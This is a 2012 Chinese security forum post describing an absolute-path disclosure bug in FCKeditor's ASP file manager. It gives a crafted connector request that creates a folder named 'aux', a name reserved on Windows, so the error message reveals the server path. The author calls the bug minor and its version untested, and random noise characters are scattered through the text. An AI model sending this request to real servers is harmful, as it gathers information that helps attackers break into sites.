找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2378|回复: 0
打印 上一主题 下一主题

最新FCKeditor爆绝对路径漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:39:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
代码:FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux
% B( n+ v& E" W( N5 X# C: `4 f+ D9 v, F2 w' z: v% J" ^
& H# x; c4 U: I% V
版本未测试。。。& U7 `9 T9 O# l0 u' Y9 }; l7 |

& }/ H& e( F2 Q+ K- \9 N6 p原理:新建个aux文件夹,aux在windows系统不支持,所以会报错,爆出绝对路径,这个比较鸡肋。求大神别喷。。。
8 x& k: p" q! n, G4 f 1 t2 h+ {9 \- U
, H5 h: t% N% q. d+ g" T* ]
听说IIS都可以。。
' M+ S9 C+ }) _0 x1 f4 Q9 r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表